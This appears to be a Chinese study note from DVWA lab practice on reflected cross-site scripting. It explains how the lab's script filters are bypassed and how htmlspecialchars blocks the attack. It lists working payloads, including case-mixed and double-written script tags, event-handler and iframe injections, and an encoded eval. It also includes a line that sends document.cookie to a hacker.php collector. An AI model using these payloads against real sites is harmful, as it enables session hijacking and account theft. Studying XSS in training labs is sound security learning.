前情提要:html的dom对象:document

如document.cookie  / document.write()

http://netsecurity.51cto.com/art/201311/417201.htm实战演示

1.判断是否有反射型XSS漏洞:

2.实践

http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html两个都给我看

img.src="http://localhost/xss/hacker.php?x=" + document.cookie;  //document.location:将页面的内容指定到指定位置

其实不写hacker.js文件也行,直接url里构造就好了

+document.cookie的+是连接符而已,其实是替代了空格、回车!!!(+号可以用%2b编码)

//PHPSESSID后的value可以直接双击修改

 @靶场实践DVWA-XSS(reflected)

教程http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html(更牛逼)

http://www.storysec.com/dvwa-xss-reflected.html(更更牛逼)

1.为啥在搜索框里输入<script>alert(/xss/)</script>不跳出弹窗?

(1)F12一下,html的<pre>标签把<>实体化了,所以输入</pre><script>alert(/xss/)</script><pre>,抵消掉原来的pre标签,弹窗就出来了

(2)<script>被过滤了:$name = str_replace( '<script>', '', $_GET[ 'name' ] );

法一:大小写绕过 </pre><SCriPt>alert(/xss/)</ScRipt><pre>

法二:双写绕过  ‘><sc<script>ript>alert("如果你能看到,说明攻击成功")</script>话说为什么要加'>啊?看另一个教程就没加'>,没有也可以跳出弹窗的说

str_replace()只过滤了一次<script>,外面的被拼接,真是妙不可言

(3)<script>被更厉害地被过滤了(正则)

preg_replace 函数使用正则表达式的搜索和替换,使得双写绕过、大小写混淆也无能为力了。
我们可以考虑通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
比如:</pre><img src=1 onerror=alert(/xss/)><pre>
   <a href='#' onclick=alert(/xss/)>test</a>
   <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  

   <iframe onload=alert(1)>

   <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

(4)使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素

于是这下完全防御了XSS注入

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

2.输入<Xtt>XSS,F12发现出现<xtt>XSS</xtt>标签,说明存在XSS漏洞

原理:事实上并没有<Xtt>这个标签,只是html的自动补全功能,还他喵的不分大小写

XSS-反射型的更多相关文章

  1. 代码审计中的XSS反射型漏洞

    XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...

  2. DVWA之Reflected XSS(反射型XSS)

    目录 Low Medium High Impossible Low 源代码: <?php header ("X-XSS-Protection: 0"); // Is ther ...

  3. 解决反射型XSS漏洞攻击

    对于程序员来说安全防御,无非从两个方面考虑,要么前端要么后台. 一.首先从前端考虑过滤一些非法字符. 前端的主控js中,在<textarea> 输入框标签中,找到点击发送按钮后,追加到聊天 ...

  4. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  5. XSS 初识

    xss(跨站脚本攻击)xss是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行.重点是“脚本” ...

  6. Cross-site Scripting (XSS) 阅读笔记

    本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS ...

  7. XSS初体验

    主要内容 什么是XSS? XSS的危害有哪些? 常见的XSS漏洞 如何防范XSS?   什么是XSS? 跨站脚本攻击(Cross Site Scripting),是一种 Web 应用程序的漏洞,当来自 ...

  8. XSS分析及预防(转)

    阅读目录 XSS的种类和特点 XSS预防 总结 XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏 ...

  9. XSS Overview

    什么是XSS? 跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的.恶意的内容通 ...

  10. XSS分析及如何预防

    XSS分析及如何预防 简单说明: XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开 ...

随机推荐

  1. 网络编程之套接字socket

    目录 socket套接字 引子 为何学习socket一定要先学习互联网协议 socket是什么 套接字类型 基于文件类型的套接字家族 基于网络类型的套接字家族 套接字工作流程 基于TCP的套接字 简单 ...

  2. LINUX笔记之二常用命令(权限管理命令)

    1. +增加权限:-去掉权限:=直接赋权. r(4)w(2)x(1) 重点掌握:通过数字授权,例如rxwr-xr--是754 例题:用root用户创建目录并在此目录新建文件,之后更改新文件的权限为77 ...

  3. 计算机网络(六),UDP报文段详解

    目录 1.UDP作用 2.UDP报文段详解 六.UDP报文段详解 1.UDP作用 (1)面向非连接 (2)不维护连接状态,支持同时向多个客户端传送相同的消息 (3)报文段报头只有8个字节,格外开销较小 ...

  4. linux中的selinux到底是什么

    一文彻底明白linux中的selinux到底是什么 2018年06月29日 14:17:30 yanjun821126 阅读数 58877 标签: SElinux 更多 个人分类: Linux   一 ...

  5. 51 Nod 最大子矩阵和

    1051 最大子矩阵和  基准时间限制:2 秒 空间限制:131072 KB 分值: 40 难度:4级算法题  收藏  关注 一个M*N的矩阵,找到此矩阵的一个子矩阵,并且这个子矩阵的元素的和是最大的 ...

  6. php的if函数

    条件语句用于基于不同条件执行不同的动作 PHP 条件语句 在您编写代码时,经常会希望为不同的决定执行不同的动作.您可以在代码中使用条件语句来实现这一点. 在 PHP 中,我们可以使用以下条件语句: i ...

  7. 分布式-网络通信-线程(socket)

    package OIO; import java.io.IOException; import java.io.InputStream; import java.net.ServerSocket; i ...

  8. windows下 java使用zookeeper案例

    依赖: <dependency> <groupId>org.apache.zookeeper</groupId> <artifactId>zookeep ...

  9. 191107Django的Cookie和Session

    Cookie的使用 from django.shortcuts import render,redirect def login(request): print("1",reque ...

  10. 【java多线程】volatile 关键字

    在java线程并发处理中,有一个关键字volatile的使用目前存在很大的混淆,以为使用这个关键字,在进行多线程并发处理的时候就可以万事大吉. Java语言是支持多线程的,为了解决线程并发的问题,在语 ...